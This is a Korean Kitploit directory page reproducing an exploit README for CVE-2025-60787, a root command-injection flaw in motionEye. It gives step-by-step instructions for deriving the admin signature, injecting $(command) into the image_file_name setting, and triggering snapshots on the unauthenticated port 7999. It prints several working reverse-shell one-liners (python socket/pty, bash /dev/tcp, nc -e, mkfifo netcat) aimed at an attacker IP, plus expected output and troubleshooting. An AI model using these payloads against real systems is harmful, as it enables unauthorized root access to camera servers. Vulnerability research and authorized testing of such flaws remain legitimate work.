Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/agent-skywalker/cve-2025-60787
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHubagent-skywalker/cve-2025-60787

CVE-2025-60787

MotionEye v0.43.1b4 OS Command Injection

저장소 보기
15개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-60787 - MotionEye RCE

MotionEye v0.43.1b4 OS 명령어 삽입

motionEye (모션 데몬을 위한 웹 프론트엔드)의 취약점에 대한 OS 명령어 삽입 PoC 익스플로잇입니다. 이 취약점은 image_file_name 구성 매개변수를 악용하며, 이 매개변수는 정제 없이 셸에 직접 전달되어 $(command) 서브셸 구문을 통한 임의 명령어 삽입을 허용합니다.

면책 조항: 명시적 테스트 허가를 받은 시스템에만 사용하십시오. 무단 사용은 불법입니다.


목차

  • 취약점 작동 방식
  • 전제 조건
  • 1단계 — 관리자 비밀번호 해시 찾기
  • 2단계 — 인증 체인 이해
  • 3단계 — 서명 알고리즘 이해
  • 4단계 — 익스플로잇 구성
  • 5단계 — 리스너 시작
  • 6단계 — 익스플로잇 실행
  • 매개변수 참조
  • 문제 해결

취약점 작동 방식

motionEye는 image_file_name 구성 값을 셸 파일 이름 패턴으로 motion 데몬에 직접 전달합니다. Motion은 스냅샷 시점에 파일 이름 내의 $(...) 서브셸 표현식을 평가하므로, $(...) 안에 배치된 모든 명령어는 motion 프로세스를 실행하는 사용자(일반적으로 root)로 실행됩니다.

전체 공격 체인은 다음과 같습니다.

root@kitploit:~
1. /etc/motioneye/motion.conf에서 admin_password 해시 읽기
         ↓
2. 쿠키 해시 = SHA1(admin_password_hash) 도출
         ↓
3. motionEye의 정확한 알고리즘을 사용하여 HMAC 서명 계산:
   SHA1("METHOD:path:body:key")
         ↓
4. /config/{cam}/set/에 악성 구성 POST:
   image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
         ↓
5. 인증되지 않은 motion 제어 포트 7999를 통해 스냅샷 트리거
         ↓
6. Motion이 파일 이름 평가 → 명령어가 root로 실행됨
         ↓
7. 리버스 셸이 공격자 머신으로 연결됨

전제 조건

  • Python 3.6+
  • 대상 motionEye 인스턴스에 네트워크 접근 가능 (기본 포트 8765)
  • /etc/motioneye/motion.conf에서 관리자 비밀번호 해시
  • 공격 머신에 리스너 (예: nc)

타사 Python 패키지는 필요하지 않습니다. 익스플로잇은 표준 라이브러리만 사용합니다.


1단계 — 관리자 비밀번호 해시 찾기

motionEye 구성 파일은 관리자 비밀번호를 SHA1 해시로 저장합니다. 대상에서 읽어오세요.

root@kitploit:~
cat /etc/motioneye/motion.conf

@admin_password 주석 줄을 찾으세요.

root@kitploit:~
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

@admin_password 뒤의 값은 일반 텍스트 비밀번호가 아닌 SHA1 해시입니다. 이 해시가 익스플로잇에 필요합니다.

또한 webcontrol_port 값을 확인하세요. 이는 스냅샷을 트리거하는 데 사용되는 인증되지 않은 motion 제어 포트입니다.

root@kitploit:~
webcontrol_port 7999
webcontrol_localhost on
root@kitploit:~
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password 


setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2

camera camera-1.conf
camera camera-2.conf

2단계 — 인증 체인 이해

motionEye는 이중 해시 인증 방식을 사용합니다.

root@kitploit:~
일반 텍스트 비밀번호
       │
       ▼  SHA1
admin_password  ←── motion.conf에 @admin_password로 저장됨
       │
       ▼  SHA1
cookie_hash     ←── 브라우저 쿠키에 meye_password_hash로 전송됨
       │
       ▼  HMAC 키로 사용됨
request_signature ←── 모든 API 요청의 _signature= 매개변수

익스플로잇은 구성 해시로부터 쿠키 해시를 자동으로 도출합니다.

root@kitploit:~
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()

수동으로 확인할 수 있습니다.

root@kitploit:~
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# 출력: 238bd0f26e9f987d2dc9c0351c018e5f52534052

3단계 — 서명 알고리즘 이해

서명은 motionEye 소스 코드 /usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py에서 계산됩니다.

root@kitploit:~
SHA1("METHOD:path:body:key")

여기서,

  • METHOD — HTTP 메서드 (POST)
  • path — URI에서 _signature를 제거하고, 매개변수를 정렬하고, 값을 URL 인코딩한 후 _SIGNATURE_REGEX로 필터링한 것
  • body — _SIGNATURE_REGEX로 필터링된 원시 JSON 본문 문자열
  • key — _SIGNATURE_REGEX로 필터링된 admin_password 또는 admin_hash (motionEye는 둘 다 허용)

_SIGNATURE_REGEX는 [a-zA-Z0-9/?_.=&{}\[\]":, -] 범위에 없는 문자를 제거하고 -로 대체합니다.


4단계 — 익스플로잇 구성

exploit.py를 열고 상단에 다음 변수를 설정하세요.

root@kitploit:~
MOTIONEYE_URL = "http://127.0.0.1:8765"   # motionEye 웹 UI URL
MOTION_URL    = "http://127.0.0.1:7999"   # motion 제어 포트 (인증 없음)
USERNAME      = "admin"                    # 관리자 사용자 이름 (기본값: admin)
ADMIN_HASH    = "989c5a8ee87a0e9521ec81a79187d162109282f0"  # motion.conf에서 가져옴

LHOST = "10.10.16.153"   # 리스너 IP — 대상이 이 주소에 접근 가능해야 함
LPORT = "4444"           # 리스너 포트

리버스 셸 명령어는 LHOST와 LPORT에서 자동으로 설정됩니다.

root@kitploit:~
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"

대체 셸 명령어 — 기본값이 차단된 경우 COMMAND를 교체하세요.

root@kitploit:~
# Bash TCP (간단하지만 필터링될 수 있음)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"

# Netcat with -e flag
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"

# Netcat without -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"

5단계 — 리스너 시작

공격 머신에서 익스플로잇을 실행하기 전에 netcat 리스너를 시작하세요.

root@kitploit:~
nc -lvnp 4444

익스플로잇은 리스너 알림 메시지 출력 후 5초 동안 대기하므로, 터미널을 전환할 시간이 있습니다.


6단계 — 익스플로잇 실행

root@kitploit:~
python3 exploit.py

예상 출력:

root@kitploit:~
============================================================
  motionEye RCE — Reverse Shell
============================================================

[*] LHOST      : 10.10.16.153
[*] LPORT      : 4444
[*] Command    : python3 -c '...'

[!] 지금 리스너를 시작하세요:
    nc -lvnp 4444

[*] 5초 후 페이로드 전송...

[*] cam=2 key=admin_password ts=1773484327292
    sig=abc123...
    status=200 resp={}

[+] 구성 저장 완료! cam=2 key=admin_password

[*] 포트 7999를 통해 스냅샷 트리거 중 (인증 없음)...
[+] cam 0 → 200 카메라 0 스냅샷 완료
[+] cam 1 → 200 카메라 1 스냅샷 완료
[+] cam 2 → 200 카메라 2 스냅샷 완료

[+] 스냅샷 트리거됨 — 10.10.16.153:4444에서 리스너 확인

리스너에서 다음과 같은 메시지를 받아야 합니다.

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#

매개변수 참조


문제 해결

모든 요청에서 403 Unauthorized

서명이 잘못되었습니다. ADMIN_HASH 값이 motion.conf의 @admin_password 줄과 정확히 일치하는지 확인하세요. 공백이나 개행 문자가 없어야 합니다.

root@kitploit:~
cat /etc/motioneye/motion.conf | grep admin_password

스냅샷이 트리거되지만 셸이 오지 않음

image_file_name 주입은 성공했지만 리버스 셸이 차단되었습니다. 4단계의 대체 COMMAND를 시도해보세요. 또한 대상이 LHOST에 접근할 수 있는지 확인하세요.

root@kitploit:~
# 대상에서
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444

포트 7999 연결 거부

webcontrol_localhost on 설정은 포트 7999를 로컬호스트로만 제한합니다. 익스플로잇은 대상 머신에서 실행하거나 터널을 통해 실행해야 합니다. 다음 명령으로 확인하세요.

root@kitploit:~
ss -tlnp | grep 7999

motion.conf를 읽을 수 없음

파일에 높은 권한이 필요할 수 있습니다.

root@kitploit:~
sudo cat /etc/motioneye/motion.conf

카메라 구성이 없음

어떤 카메라 conf 파일이 있는지 확인하고 필요에 따라 익스플로잇의 cam 목록을 업데이트하세요.

root@kitploit:~
ls /etc/motioneye/camera-*.conf


참조

  • CVE-2025-60787
  • motionEye 소스 — utils/init.py
  • motionEye 소스 — handlers/base.py
도구 다운로드
매개변수위치설명예시
MOTIONEYE_URLexploit.pymotionEye 웹 인터페이스의 전체 URLhttp://127.0.0.1:8765
MOTION_URLexploit.pymotion 제어 포트의 URL (인증 불필요)http://127.0.0.1:7999
USERNAMEexploit.pymotionEye 관리자 사용자 이름admin
ADMIN_HASHexploit.pymotion.conf의 @admin_password에서 가져온 SHA1 해시989c5a8e...
LHOSTexploit.py공격 머신 IP — 대상이 이 주소에 접근 가능해야 함10.10.16.153
LPORTexploit.pync 리스너가 사용 중인 포트4444